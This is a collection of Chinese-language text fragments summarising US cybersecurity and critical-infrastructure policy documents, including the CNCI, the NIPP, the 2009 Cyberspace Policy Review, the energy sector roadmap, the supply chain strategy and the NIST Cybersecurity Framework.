    {"text": "三、网络安全优先发展五大重点 《国家网络安全战略》包括五大部分：一是国家网络安全响应系统，二是国家网络安全威胁和漏洞缩减计划，三是国家网络安全意识和培训计划，四是各级政府的网络安全保障，五是国家安全和国际网络安全合作。"},
    {"text": "（1）加强与网络有关的情报工作。 （2）提高对网络攻击进行定性并做出反应的能力。 （3）加强美国国家安全团体的内部协作，共同对网络攻击进行回应。"},
    {"text": "联邦政府欢迎建立或参与公私合作关系，提高网络安全意识，培训员工，刺激市场力量，改进技术，确认并补救漏洞，互换信息，以及制定复苏计划。"},
    {"text": "这些综合性基础设施计划描述了各部门的战略计划，包括：银行和金融业、保险业、化学、石油和天然气、电力、执法部门、高等教育、运输（铁路）、信息技术和通信、水务。"},
    {"text": "除了执行战略分配的任务，国土安全部将作为州和地方政府、私人部门以及与网络安全有关的美国人民的联邦连接点，还将同白宫合作，协调并支持战略中推荐的非联邦任务。"},
    {"text": "美国解密《国家网络安全综合计划》中的12项提议 2010年3月2日，奥巴马政府对前任总统布什政府制定的一份美国网络防御战略，即《国家网络安全综合计划》（CNCI）的部分内容进行了解密。"},
    {"text": "（1）通过在联邦政府（最终落实在州、地方和部族政府以及民营领域合作者）内部创建并加强对网络漏洞、威胁和事件的共享态势感知能力，以及减少当前漏洞和防止入侵的快速反应能力，进而建立起抵御当前面临的迫切威胁的防线。"},
    {"text": "（3）通过扩大网络教育、协调和重新定位整个联邦政府内的研发工作、致力于明确和制定相关战略以阻止敌对和恶意的网络空间行为等措施，进而巩固未来的网络空间环境安全。"},
    {"text": "（1）将现有的美国联邦政府各部门的网络合并成唯一的、接入“可信互联网连接”的政府网络。 由美国国土安全部、美国行政管理和预算局牵头的“可信互联网连接计划”（TIC）将合并美国联邦政府部门网站的外部接入点，包括美国联邦政府网络与外部互联网的连接。 这一合并将为美国联邦政府的网络提供一个共同的安全解决方案，包括：推动减少外部接入口、建立安全基线的能力、为遵守安全能力的相关机构提供验证等。"},
    {"text": "当未经授权的用户试图进入联邦政府部门的网络时，入侵监测系统将会发出预警，这将成为保护美国政府网络的重要组成部分。 为此，美国国土安全部正在部署建设基于签名的传感器入侵监测系统，这种传感器通过对进入联邦政府的网络流量进行监测，能够发现未经授权进入美国联邦政府网络的潜在恶意活动。"},
    {"text": "“爱因斯坦Ⅱ计划”能够向美国计算机应急响应组织（US-CERT）实时报告联邦政府网络流量中的恶意行为或可能的恶意行动，并可提供源数据的相关性和可辨性，这将极大地提高US-CERT分析师对网络环境的认知能力，增强其处置联邦政府网络安全的弱点和漏洞的能力，并使US-CERT能够更加有效地与美国各级政府的网络安全防御部门、民营部门的安全专家以及美国公众分享相关的安全信息。"},
    {"text": "“爱因斯坦Ⅲ计划”的目标是确认恶意网络流量并鉴别其特性，以加强网络安全分析能力、安全态势感知及安全响应能力。 “爱因斯坦Ⅲ计划”将协助国土安全部和US-CERT防卫、保护并减少联邦行政部门网络和系统的脆弱性。"},
    {"text": "国土安全部目前正在对“爱因斯坦Ⅲ计划”进行测试工作，以检验其是否具备该计划所描述的基于美国国家安全局开发的技术的能力。 政府公民自由和隐私官员也正与国土安全部及US-CERT密切合作，以在“爱因斯坦Ⅲ计划”制定和应用部署中建立适当的和必要的隐私保护措施。"},
    {"text": "这将有助于消除联邦政府对网络安全研究的重复投资，并有助于确定研究差距、突出研发重点，确保在制订战略投资计划时使美国纳税人的钱能够落到实处。"},
    {"text": "由于目前针对联邦系统的恶意行动日益增多，因而保证政府信息安全办公室与战略运行中心能够实现信息共享尤为迫切，只有这样才能更好地了解针对政府系统的整体威胁状况，并在保护个人隐私及其他受保护信息法律法规允许的情况下，最大限度地利用各部门特有的能力以形成最佳的网络防御。"},
    {"text": "该提议将为负责开展美国网络活动的6个中心提供必要的手段，使它们彼此之间能够实现对网络安全态势认知的共享及协作。 在这个提议中，隶属于美国国土安全部的国家网络安全中心（NCSC）将在确保美国政府网络和系统安全中发挥主导作用。 NCSC 将根据这一提议，对上述6个中心进行协调和整合以提供跨领域安全情况通报，并对美国国家网络和系统进行分析和报告，促进机构内部的合作和协调。"},
    {"text": "（6）制定并推行政府部门间的网络反间谍（CI）计划，以便协调联邦各政府部门进行监测，阻止和减少外国网络间谍机构对美国政府和私人领域进行网络情报威胁。 为达到上述目标，该计划将建立和扩展网络反间谍教育和认知项目，并增加工作人员，从而将CI 整合进所有的网络运作和分析中，增强雇员对网络反间谍威胁的意识，并增强各级政府部门的反间谍协作。"},
    {"text": "尽管美国政府在新科技上投入数以亿计的资金以确保美国政府在网络空间的安全，但只有拥有正确的知识、技巧及能力的人来运用这些科技才是成功的关键。"},
    {"text": "该提议的目的在于通过改善预警能力、明晰民营企业和国际伙伴所扮演的角色、发展国有和非国有部门的响应能力等措施来建立网络防卫战略，以阻止对网络空间的干扰和攻击。"},
    {"text": "商业信息和通信科技市场的全球化，给企图损害美国利益的国家、个人提供了更多的机会，他们可以在未授权的情况下通过渗透供应链获取和更改数据，或对通信进行干扰。"},
    {"text": "这一提议将改善联邦政府的技能、政策能力和处理流程，为各部门和机构提供更好的方法管理和减少供应链风险，从而减小联邦政府部门和机构所面临的系统网络风险。"},
    {"text": "国土安全部与其民营行业合作方已制定了一个具有里程碑意义的积极的共享行动计划，包括短期和长期建议，特别是吸收和利用了以前取得的成果和经验，加强了关键基础设施和重要资源部门的安全弹性及运作能力。"},
    {"text": "对重要基础设施和关键资源的攻击可能严重破坏政府和产业的运行，所引起的连锁反应将广泛波及事件中的目标区域及物理位置之外的更大领域。"},
    {"text": "直接的恐怖袭击和自然、人为或者源自技术的威胁将会在造成人员伤亡、财产破坏和经济影响等灾难性损失的同时，深深挫伤公众的士气和信心。"},
    {"text": "一、引言 《国家基础设施保护计划》（NIPP）的总体目标是预防、阻止、抵消或者减轻恐怖分子的故意破坏行为或者恶意利用国家重要基础设施和关键资源的行为。"},
    {"text": "要加强国家在恐怖袭击、自然灾害和其他紧急事件中充分准备和及时响应，以及快速恢复重要基础设施和关键资源的能力，建设更为安全、安定和更具恢复能力的美国。"},
    {"text": "《国家基础设施保护计划》提供了统一的机制，将现有和未来的重要基础设施和关键资源保护和恢复战略整合为统一的国家计划，并付诸行动。 《国家基础设施保护计划》框架支持在各部门之间实现优先保护、恢复预案和投资，确保减少薄弱环节、阻止威胁并将恐怖袭击和其他人为以及自然灾害的后果降低到最小限度，从而实现缓解风险带来最大获益的同时，政府和民营部门的资源可用。 《国家基础设施保护计划》风险管理框架识别并建立了现有的公共和私人部门保护计划以及恢复能力战略，发挥投资效益，将重要基础设施和关键资源所有者和运营者的风险降低到最小限度。"},
    {"text": "措施包括：降低重要基础设施和关键资源资产、系统、网络、功能或者其他网络互联带来的总体风险，制止威胁、缓解薄弱环节或者将恐怖袭击及其他突发事件所造成的严重后果降低到最小限度（见图2.1）。"},
    {"text": "保护措施还包括一系列的工作，例如完善安全协议、强化设施、建立恢复力和冗余性、将隐患抵御能力整合到设施设计中去、主动或者被动的策略、安装安全系统、利用“自我复原”式技术、推广劳动力保障计划、网络安全措施、培训和演练、业务连续性计划、复原和恢复措施等。"},
    {"text": "为了实现《国家基础设施保护计划》的总体目标，要采取相应措施来实施一系列的具体目标，包括： （1）理解和恐怖袭击以及其他隐患有关的信息，与重要基础设施和关键资源合作伙伴共享这些信息；"},
    {"text": "图2.1 保护措施 这些具体目标要求重要基础设施和关键资源合作伙伴之间建立协调性合作伙伴关系，其中包括：联邦政府，各州、地方、部族和区域政府，区域同盟，民营部门，国际机构，非政府组织。"},
    {"text": "《国家基础设施保护计划》提供了基本框架，其中定义了一系列灵活的程序和机制，这些重要基础设施和关键资源合作伙伴可以使用这些程序和机制实施国家计划，实现对各个部门重要基础设施和关键资源的长期保护。"},
    {"text": "二、职权、使命和责任 2002年通过的美国国土安全法案（Homeland Security Act），为美国国土安全部（DHS）负责保护国家的重要基础设施和关键资源提供了法律依据。 法案指定美国国土安全部制订保护重要基础设施和关键资源的综合性国家计划，建议与联邦政府的其他机构协调行动，与州及地方政府机构或者部门、民营部门及其他团体合作。"},
    {"text": "在第7号国土安全总统令（HSPD7）中，总统任命国土安全部部长作为“领导联邦政府和机构、各州和地方政府以及民营部门对重要基础设施和关键资源进行保护的首席联邦官员”，并且指派联邦特定部门机构（SSA）负责保护重要基础设施和关键资源（见表2.1），并为建立或者补充相关部门提供了标准。 根据第7号国土安全总统令（HSPD7），《国家基础设施保护计划》明确了合作各方在开展重要基础设施和关键资源保护活动方面的角色和责任，并要求尊重和整合这些合作伙伴的职权、管辖权和特权。"},
    {"text": "美国国土安全部：协调国家在重要基础设施和关键资源方面的总体工作，对《国家基础设施保护计划》的编制和实施进行监督，并整合国家的前瞻性措施。 特定部门机构：实施《国家基础设施保护计划》框架，并根据每个重要基础设施和关键资源部门的具体特征给予指导和调整。"},
    {"text": "其他联邦部门、机构和办公室：落实第7号国土安全总统令（HSPD7）以及其他相关法令、执行命令和政策指令所赋予的、对重要基础设施和关键资源的保护使命。"},
    {"text": "各州、地方、部族和区域政府：作为国土安全总计划的组成部分，根据《国家基础设施保护计划》风险管理框架编制，实施重要基础设施和关键资源保护计划。"},
    {"text": "董事会、委员会、权力当局、政务会及其他实体机构：基于重要基础设施和关键资源的各个方面，跨部门和跨权限地发挥监管、咨询、政府或者业务监督职能。"},
    {"text": "c本计划内的任何内容都不会削弱或者影响国防部部长的职权，包括作为统帅的总统到国防部部长再到军队指挥官对于军队的连锁指挥系统或者军事命令和控制程序；"},
    {"text": "g正如第7号国土安全总统令（HSPD7）所述，交通部和国土安全部会就涉及交通运输安全和交通运输基础设施保护等方面的各项事宜开展合作；"},
    {"text": "三、重要基础设施和关键资源保护项目战略：风险管理 《国家基础设施保护计划》的基础是其风险管理框架（见图 2.2），该框架建立了结合事件后果、薄弱环节和威胁信息等因素，生成国家或者地区风险的评估结果的全过程。"},
    {"text": "这些活动包括：设定总体和具体目标，确认重要资产、系统和网络，根据事件后果、薄弱环节和威胁信息评估风险，根据风险评估结果或者在减轻风险方面的投资回报分析结果确定工作重点，执行保护计划和恢复策略，评估项目取得的成效等。"},
    {"text": "图2.2 《国家基础设施保护计划》风险管理框架 四、重要基础设施和关键资源保护项目的组织和合作 由于国家重要基础设施和关键资源的庞大和复杂性，国内保护性建筑的分布特征，以及恐怖袭击、人为或者自然灾害的不确定性，如何采取有效的保护和恢复措施已经成为一项重要挑战。"},
    {"text": "为了确保这类措施的有效性，《国家基础设施保护计划》要求建立能够确保信息共享与保护的组织结构和伙伴关系，实现既定目标。 《国家基础设施保护计划》定义了一种组织结构，这种结构可以为各级政府以及各部门内外在保护重要基础设施和关键资源所进行的协调努力方面，提供基本框架。"},
    {"text": "这些委员会创建了一种机构，通过这个机构，来自各级政府和民营部门的代表可以协作或者共享现有的重要基础设施和关键资源保护途径，共同努力完善职能。"},
    {"text": "参与并实现与外国政府以及国际组织机构之间的协调，这对于确保实现美国国内外重要基础设施和关键资源的保护和恢复也至关重要。 《国家基础设施保护计划》提供了相应机制和程序，从而使得美国国土安全部、美国国务院、美国特定部门机构及其他的合作伙伴强化国际合作，支持重要基础设施和关键资源的保护工作和措施。 美国国土安全部会与所建立的跨部门实体机构开展合作，促进重要基础设施和关键资源部门在特定地理区域范围内实现协调、沟通和共享。"},
    {"text": "政府协调委员会会通过由《国家基础设施保护计划》联邦高级领导委员会（FSLC），各州、地方、部族和区域政府协调委员会（SLTTGCC）组成的政府跨部门委员会，来处理跨部门问题和相关性问题。"},
    {"text": "《国家基础设施保护计划》使用信息共享网络的方式构建一种全新的模型：重要基础设施和关键资源合作伙伴共享和保护分析风险和做出风险知情决策所需的信息。"},
    {"text": "这种途径提供了一种机制，按照要求使用信息保护协议来支持战略和特定威胁评估、威胁警报、事件报告、隐患后果评估、风险评估和最佳实践的发展和共享。"},
    {"text": "这种信息共享途径使得重要基础设施和关键资源合作伙伴可以评估风险、识别和优化风险管理机会、分配资源、开展风险管理活动，并且持续性地改善全国的重要基础设施和关键资源保护形势。"},
    {"text": "通过一系列计划和程序，诸如保护关键基础设施信息（PCII）计划，美国国土安全部以及其他联邦机构可以确保与实现安全相关信息相适应的安全保障。"},
    {"text": "诸如1974年隐私法案规定的要求等，会对《国家基础设施保护计划》中定义的重要基础设施和关键资源保护活动进行规范，其目的是同时实现公民权利和自由的安全和保护。"},
    {"text": "五、保护重要基础设施和关键资源是美国国土安全使命的重要组成部分 《国家基础设施保护计划》明确提出了重要基础设施和关键资源保护在国土安全使命中的定位。"},
    {"text": "为此，《国家基础设施保护计划》将指导各部门重要基础设施和关键资源计划的结构和内容。 《国家基础设施保护计划》将提供一个基本框架，告知各部门特定计划、国家和地方国土安全战略，以及合作伙伴重要基础设施和关键资源保护项目和恢复战略机动事项的研发、应用和更新的进展。 为了达到这个效果，《国家基础设施保护计划》必须补充其他计划，帮助预防和应对恐怖袭击、自然灾害和其他紧急事件，并在此期间提供相应保护、做出响应并从中恢复。 联邦政府、州政府、地方政府、部族政府和区域政府的国土安全计划和战略，用于保护其各自管辖区域内的重要基础设施和关键资源。 同样，通过制定一系列保护重要基础设施和关键资源的相关计划和项目，重要基础设施和关键资源所有者和运营商已经对于威胁不断增长的环境做出了响应，其中包括商业持续性措施以及恢复和响应措施。 在重要基础设施和关键资源合作伙伴之间，可以协调实施《国家基础设施保护计划》，从而确保它不会产生重复性或者高成本的风险管理要求，因为这种要求对于保护重要基础设施和关键资源的强化作用不大。"},
    {"text": "《国家基础设施保护计划》、国家应急准备指导方针（NPG）以及国家响应框架（NRF）共同为国土安全使命提供了全面的、综合性的途径。 《国家基础设施保护计划》建立了全面的风险知情途径，定义了全国重要基础设施和关键资源保护的态势，同时国家响应框架也为国内突发事件管理提供了相应途径。"},
    {"text": "在构建预防能力、保护能力、响应能力和恢复使命能力等方面，国家应急准备指导方针规定了国家的工作重点、法律原则、扮演角色和相应责任。"},
    {"text": "在特定威胁背景或者对于国土安全咨询系统（HSAS）建立的威胁条件做出响应的背景下，增加重要基础设施和关键资源保护措施，可以在《国家基础设施保护计划》稳态保护以及国家响应框架的事件管理活动之间架设起重要的桥梁。"},
    {"text": "《国家基础设施保护计划》合作伙伴关系和程序会为国家响应框架的重要基础设施和关键资源维度提供基础，从而促进活动范围内的威胁和事件管理，包括事件预防、响应和恢复。"},
    {"text": "实施《国家基础设施保护计划》既是国家的应急准备工作重点，也是实现国家应急准备指导方针中定义的保护能力的基本框架。 六、确保重要基础设施和关键资源保护项目长期有效运行 为了确保重要基础设施和关键资源保护项目能够长期有效开展，《国家基础设施保护计划》提出采取以下机制。 （1）支持国家建立重要基础设施和关键资源保护项目以及相关的投资和活动，确保公众能够清晰理解所有的威胁，并保证受到威胁的国家重要基础设施和关键资源能够及时恢复。 （2）开展教育、培训和科目练习，确保有知识、有技能的专业人士和有经验的组织机构能够在未来承担与《国家基础设施保护计划》相关的责任。 （3）通过新技术的研究、开发与应用，提升重要基础设施和关键资源保护的能力或者降低其运行成本，使重要基础设施和关键资源的合作伙伴能够在有限的预算条件下得到更多的支持。"},
    {"text": "七、为重要基础设施和关键资源保护项目提供资源 提出了一个综合性的、风险通报的办法，确立工作重点，确定要求，指引国家重要基础设施和关键资源保护项目的资源支持，按照联邦政府的批准辅助国家、地方、部族和区域团体，支持有关民营部门的活动。 在联邦层面，关于重要基础设施和关键资源保护工作重点和要求，美国国土安全部将通过提交国家重要基础设施和关键资源保护年度报告，向总统执行办公室提出相关建议。"},
    {"text": "该报告的编制依据来源于美国国土安全部通过每个部门的特定部门机构（SSA），各州、地方、部族和区域政府协调委员会（SLTTGCC）以及区域财团协调委员会（RCCC）提交的、以国家风险档案和国家工作重点为依据的评估工作重点、要求和相关计划资金信息。"},
    {"text": "美国国土安全部对各州、地方、部族和区域的重要基础设施和关键资源保护工作重点和要求的相关信息进行整合。 美国国土安全部使用这些数据，确定了国家保护重要基础设施和关键资源方面的工作重点：优先处理那些在缓解保护计划风险方面最主要的资源。"},
    {"text": "这种风险知情途径还包括在规划过程中涉及民营部门合作伙伴的机制，并且支持重要基础设施和关键资源合作伙伴之间开展合作，从而确定工作重点、界定要求、共享信息并将风险降到最低限度。"},
    {"text": "《网络空间政策评估》概要 2009年5月29日，美国总统奥巴马在白宫公布了由美国国家安全委员会和国土安全委员会负责网络事务的副主管梅利萨·哈撒韦主持完成的一份网络安全评估报告。"},
    {"text": "奥巴马表示，网络空间以及来自网络空间的威胁都是真实存在的，保护网络基础设施是维护美国国家安全的第一要务。 在竞选期间奥巴马就十分强调网络安全对美国的重要性，就任后不久的2009年2月即要求对美国的网络安全状况展开为期60天的全面评估。"},
    {"text": "在17分钟的致词中，奥巴马总统指出：“我们今天正处于重要的转型时刻，一个历史性的时刻，互连的世界带给我们极大的承诺，也有极大的危险。"},
    {"text": "他强调，“美国21世纪的经济繁荣将依赖于网络安全”，“很明显网络威胁是我们面临的最严重的国家经济和安全挑战之一”，“无论作为一个政府还是一个国家，我们并没有做好应有的准备”，“这种现状不能忍受，我们可以而且必须做得更好”。"},
    {"text": "他宣布：“我的政府将采取新的全面的方式来保护美国的数字基础设施……我承诺这种新做法将从最高层开始：从现在起，我们的数字基础设施——我们每天依赖的网络和计算机——将被视为国家战略资产，它们本该就是。"},
    {"text": "”奥巴马将在五个关键领域开展工作，包括：制定新的全面的网络安全战略，各方面加强合作确保各级组织一致地响应未来网络事件，加强公私伙伴关系，继续投资研发前沿网络安全技术，在全国范围内开展提高网络安全意识的运动。"},
    {"text": "” 一、报告的主要架构 这份评估报告题为“网络空间政策评估：保障可信和强健的信息和通信基础设施（Cyberspace Policy Review：Assuring a Trusted and Resilient Information and Communications Infrastructure）”，全文共76页，包括前言、内容提要、简介、正文。"},
    {"text": "讨论美国如何利用创新的好处来解决网络安全问题，包括与民营部门一道，确定未来基础设施的性能和安全性目标，将研究和开发与基础设施发展联系起来，更广泛地协调政府、行业和学术研究工作。"},
    {"text": "网络安全政策包括有关网络空间安全和在网络空间中运行的战略、政策和标准，涵盖减少威胁、减少隐患、威慑因素、国际参与、事件响应、网络弹性和恢复的政策和活动，包括计算机网络运行、信息保障、执法、外交、军事和情报任务，这些事项涉及全球信息和通信基础设施的安全和稳定。"},
    {"text": "全球互连的数字信息和通信基础设施被称为“网络空间”，它构成了现代社会各方面的基础，为国民经济、民用基础设施、公共安全和国家安全提供关键的支持。"},
    {"text": "国家也需要明确有关网络安全的国际战略，塑造国际环境，与志同道合的国家一起研讨技术标准，以及各方均可接受的地域管辖权、国家主权和使用武力的法律准则。"},
    {"text": "此外，不同国家和地区的法律和惯例（如调查和起诉网络犯罪的法律，数据保存、保护和隐私权，网络防御和应对网络攻击的方法）对于实现安全可靠和有弹性的数字环境是严峻挑战。"},
    {"text": "政府应与关键利益相关方一道，设计有效的机制来实现真正的共同运作，整合政府和民营部门的信息通报，为按优先级地降低脆弱性以及事件响应提供支撑。"},
    {"text": "政府应探索额外的奖励机制，包括调整法律责任（减少法律责任以换取安全的改善或因安全性差增加法律责任）、补偿、税收优惠，制订新的监管规定和遵守机制。"},
    {"text": "表2.2 报告公布的近期和中期行动计划 续表 《实现能源供给系统网络安全路线图》概要 一、能源行业控制系统工作组（ESCSWG）的话 《实现能源供给系统网络安全路线图》制定了改进能源行业网络安全的规划。"},
    {"text": "相关公私部门确定了建设、部署以及管理电力、石油和天然气行业能够抵御攻击的能源供给系统的进程，2011路线图是这一不懈努力的见证。 2011 路线图是对《2006 年实现能源领域控制系统安全路线图》（ 2006 Roadmap to Secure Control Systems in the Energy Sector ）的修订，体现了能源领域对于安全的持续投入（commitment，此处译为投入）。"},
    {"text": "民营部门拥有并运营着绝大部分能源行业的关键资产和基础设施，而政府部门需要对国家安全负责，因此，确保能源供给系统免遭网络威胁是政府与民营部门共同的责任。"},
    {"text": "三、2011路线图：肯定进展，明确变化 从2005年开始，美国能源部电力传输与能源可靠性局、国土安全部科学和技术分部（the US Department of Homeland Security Science and Technology Directorate）和加拿大自然资源部下设的能源基础设施保护机构一道，促成了《2006 年实现能源领域控制系统安全路线图》以提升能源部门网络安全。"},
    {"text": "2006 路线图确立了一个共同的愿景及战略框架，业界和政府部门以此为指引，研发、部署在遭遇蓄意的网络攻击时核心功能不受影响的控制系统。 2006路线图是控制系统界集体智慧的结晶，资产的所有者和运营者、供应商、国家实验室、行业协会、学术界、政府机构，以及国际社会成员共同参与其中。"},
    {"text": "《实现能源供给系统网络安全路线图》是对2006 路线图的更新与修订，它反映了网络安全技术及其他相关技术的进步，以及行业不断变化的新需求。"},
    {"text": "2011路线图对能源供给系统有了更广泛的关注，包括控制系统、智能输电网技术以及网络安全与物理安全的连接点（系统元件的物理接入会影响网络安全）。 2011路线图意识到智能技术（如智能电表和相量测量装置）、新的基础设施元件、移动设备使用的增多和新应用正在改变能源信息传播和控制的方式，同时新的安全漏洞也应运而生，并对消费者和能源市场信息保护提出了新要求。"},
    {"text": "尽管 2006 路线图在协调多个公私合作项目、研发投资、互操作性与网络安全标准的形成和采用、高级培训以及加速产品研发等方面建立了稳固的基础，但要应对持续和新兴的挑战，我们仍要做更多的工作。"},
    {"text": "因此，行业确保能源供给系统安全的愿景专注于核心功能，这些功能如若受损，将会导致生命损失、公共危害、环境损害、公众信心丧失或严重的经济损失。"},
    {"text": "而安全文化融入可靠性实践，将确保安全风险管理方法得到周期性的回顾并不断接受新的质疑，进而确认既定的安全控制仍在发挥作用且能源供给系统的变化或新的威胁没有削弱其有效性。"},
    {"text": "● 评估和监测风险。 评估和监测风险使企业能够全面了解其当前的安全态势，进而对不断演进的网络威胁、安全漏洞和风险进行持续的评估，并做出响应。"},
    {"text": "执行这一行动计划将有助于行业实现如下目标：针对所有能源供给系统体系结构水平和跨信息-物理领域的持续的安全状况监测，被能源行业的资产所有者和运营者广泛采用。"},
    {"text": "执行这一行动计划将有助于行业实现如下目标：下一代能源供给系统的体系结构能够提供深层防御，其使用的部件具有互操作性、可扩展性，且在遭遇降级的条件下能够继续运行。"},
    {"text": "执行这一行动计划将有助于行业实现如下目标：网络安全事件发生时，能源领域相关方能够将其影响减轻，快速恢复系统的正常运行，从中吸取教训并对能源供给系统环境中的新变化有所认知。"},
    {"text": "美国政府问责办公室（GAO）承认，目前联邦和州的监管环境形成的安全文化就是公用事业部门对网络安全规定的（被动）服从，而不是（积极主动）去实现全面、有效的网络安全。"},
    {"text": "通过ieRoadmap网站，相关方能够平衡（align）资源，合作形成战略性和策略性的方法，将其付诸实践以实现路线图的里程碑，并于每年定期评估、交流进展。"},
    {"text": "《全球供应链安全国家战略》概要 近年来，国际贸易已经并且不断成为美国和全球经济增长的强大引擎，通信技术进步和贸易障碍以及产品成本的减少有助于全球资本市场的扩张并带来新的经济机会。"},
    {"text": "通过全球供应链安全国家战略，我们围绕美国政府的相关政策来强化全球供应链，从而保护美国人民的福利和利益，并且保障我们国家的经济繁荣。"},
    {"text": "在该战略中我们关注的是运输、邮政、运输途径、资产和基础设施的全球性网络，借助这一网络商品从生产点到达最终的消费者，以及支持通信基础设施和系统。"},
    {"text": "通过现代化供应链基础设施和流程寻求贸易最大化时，我们还将在流程早期理解和解决风险，并且加强物理基础设施、运输工具和信息资产的安全。"},
    {"text": "目标2：建立一个弹性供应链。 该战略的第二个目标是建立一个有准备、能够抵抗不断进化的风险和危害并且能够从毁坏状态快速恢复的弹性供应链。"},
    {"text": "目标 1 ：促进商品安全和有效运转 当保护和保障供应链，防止剥削并降低其受到破坏的脆弱性时，我们都在共享促进及时、有效的合法贸易流的集体利益。"},
    {"text": "为了实现我们的目标，美国政府将力求： （1）通过利用风险管理原则，在潜在事件之前降低系统供应链中断的脆弱性，以识别和保护关键资产、基础设施和支持系统；"},
    {"text": "这些定义我们方法的原则包括我们在联邦政府内外激励作用，以及通过把我们的努力集中在那些引起最显著改进或风险降低上，有效管理风险的能力。"},
    {"text": "为实现我们的战略愿景，我们将力求： （1）通过寻找更智能和更省钱的方式来解决安全威胁并且最大化来自美国各地政府的资源和专业知识，集中联邦政府的努力。"},
    {"text": "作为一个国家，我们的竞争力取决于管理关于供应链的物理基础设施风险，以确保货物、能源、人民以及信息从一个地方移动到另一个地方的能力。"},
    {"text": "为了管理风险，我们将： （1）理解并解决那些企图引入有害产品或材料的系统开发和由恶意攻击、事故或自然灾害引发的中断所带来的供应链脆弱性。"},
    {"text": "如同信誉和金融风险一样，信息安全风险对组织机构造成了影响，它不仅增加了消耗、影响了组织机构效益，而且伤害了组织机构的创新能力，导致顾客流失。"},
    {"text": "该文件是“美国政府为提高国家关键基础设施的安全与可靠性，保障安全的网络环境，并在提高生产效率、创新能力与经济繁荣的同时，保证生产的安全稳定，保护组织机构商业机密、隐私及公民自由的政策文件”，该行政令要求自发形成一种基于风险的信息安全框架规范——以一系列的标准和最佳惯例来帮助组织机构管理信息安全风险。 该框架规范由政府和私人组织机构合作创建，用最通俗的语言阐述了在基于商业需求的前提下，用最经济有效的方法来应对和管理信息安全风险，该框架规范并不会增加另外的商业监管要求。 该框架规范利用商业驱动的方式来指导信息安全操作，并且将信息安全风险作为组织机构风险管理程序的一部分。"},
    {"text": "该框架规范由三部分组成：框架规范核心（core）、框架规范适用标准（profiles）、框架规范实施层面。 框架规范核心是一系列的信息安全操作、实现效果以及关键基础设施领域常见的信息参考文献的集合，它能提供详细的指导用来建立组织机构适用标准。"},
    {"text": "通过使用框架规范适用标准，组织机构能将其信息安全操作与商业需求、风险容忍和资源结合起来。 框架规范实施层面能帮助组织机构认识和理解其管理信息安全风险的方法的特点。 该行政令也要求框架规范包含相应的方法，使得关键基础设施组织机构在设计信息安全操作时能保护个人隐私和公民自由。"},
    {"text": "该框架规范适用于任何组织机构，不论其规模、信息安全风险程度和信息安全复杂度如何，组织机构都可以采用风险管理机制和最佳惯例来提升关键基础设施的安全和恢复力。"},
    {"text": "另外，由于其参考了全球的信息安全意识标准，所以该框架规范可以为国外公司提供一个国际合作模型用来加强关键基础设施的信息安全。 该框架规范并不是万能的用以管理关键基础设施信息安全的方法，组织机构会继续面临一些特殊的风险——不同的威胁、不同的薄弱点、不同的风险容忍度，从而导致其在实现框架规范时会存在差异。"},
    {"text": "使用该自愿性质的框架规范的下一步工作是提高美国关键基础设施的信息安全——向私人组织机构提供指导，从而提高国家关键基础设施融合的信息安全。"},
    {"text": "在该行政令中，总统呼吁开发一种自愿性的网络安全框架规范（以下简称“框架规范”），以便提供“优先化、可靠性、可重复、基于性能、成本有效性手段”来管理提供关键基础设施服务程序中直接涉及的流程、信息和系统方面的网络安全风险。"},
    {"text": "在该行政令中，关键基础设施被定义为“那些对国家至关重要的系统和资产，不论是物理的还是虚拟的，所谓至关重要是指一旦该系统或资产的能力丧失或遭到破坏，就会削弱国防安全、国家经济安全、公众健康或安全或者这些重要方面的任意组合”。"},
    {"text": "由于所面临的内部和外部威胁压力不断增加，负责操作关键基础设施的组织机构需要采取连续性、重复性的途径来识别、评估和管理网络安全风险。"},
    {"text": "例如，当在提供关键服务和支持商业决策程序中越来越多地使用工业控制系统以及运行工业控制系统产生的数据时，我们应当考虑到网络安全事件给组织机构的商业、资产、个人健康和安全以及环境带来的潜在影响。 为了更好地管理这些网络安全风险，我们需要更加清楚地理解：组织机构在使用信息技术和工业控制系统程序中涉及的商业驱动因素和安全注意事项。"},
    {"text": "由于认识到隐私保护和公民自由在打造更牢固的公众信任程序中所发挥的重要作用，总统所颁布的行政令要求：框架规范应当包括关键基础设施组织机构在开展网络安全活动程序中为了保护个人隐私和公民自由而采取的方法途径。"},
    {"text": "通过依赖产业所开发、管理和更新的这些全球化标准、指导方针和惯例，实现框架规范目标所用工具和方法会跨越国界，识别出全球范围内的网络安全风险，并且随着技术进步和商业要求的发展而不断进化。"},
    {"text": "组织机构可以使用其现有程序，充分发挥该框架规范的作用，以识别出潜在的机遇，从而强化和传达其网络安全风险管理方法，同时也满足产业惯例要求。"},
    {"text": "位于美国境外的组织机构也可以使用该框架规范，以强化其自身的网络安全努力，并且该框架规范也可以为关键基础设施网络安全方面进行的国际合作开发共同语言作出贡献。"},
    {"text": "（一）框架规范概述 该框架规范采用了基于风险的方法来进行信息安全风险的管理，其由三部分组成：框架规范核心、框架规范实施层面和框架规范适用标准。"},
    {"text": "该核心提供了工业标准、指导方针和惯例的方式，该方式使得组织机构内部的行政层面到执行/操作层面都能进行信息安全的操作和输出结果的交流。"},
    {"text": "2.框架规范实施层面（以下简称“层面”） 该层面提供了一个环境，使组织机构认识到信息安全风险和处理程序，从而管理信息安全风险。 层面描述了组织机构安全风险管理惯例程序表现出来的基于框架规范特征的分级（如风险和威胁感知、重复性、自适应）。"},
    {"text": "3.框架规范适用标准（以下简称“适用标准”） 该适用标准体现了组织机构从框架规范里选择了分类和子分类后产生的结果。 适用标准可以理解成将框架规范核心中的标准、指导方针、惯例应用到特定的场景后产生的结果的特征。"},
    {"text": "通过对比“当前”适用标准（“目前”状态）和“目标”适用标准（“将要到达”的状态），它可以用来识别出能提高信息安全态势（Posture）的机会。"},
    {"text": "有了这些信息，组织机构可以决定它们的风险接受水平以便提供相应的服务，并且将其表达成它们的风险容忍能力。 了解了其风险容忍能力之后，组织机构可以优先考虑信息安全操作，从而使得组织机构能对信息安全开支做出明确的确定。 风险管理计划的实施给组织机构提供了量化和沟通调整自身网络安全计划的能力。"},
    {"text": "组织机构可以采用不同的方式来处理风险，如减轻风险、转移风险、避免风险或者接受风险，方式的采用取决于风险对关键服务造成的潜在的影响程度。"},
    {"text": "该框架规范支持循环的风险评估和商业驱动的验证，从而帮助组织机构选择信息安全操作的最终目标状态，并通过期望输出来体现最终目标状态。 因此，该框架规范能使组织机构动态选择和直接提升信息安全风险管理计划，以便应用于信息技术和工业控制系统环境。 此框架规范适用于提供灵活的、基于风险的实施途径，兼容广泛的网络安全风险管理程序。"},
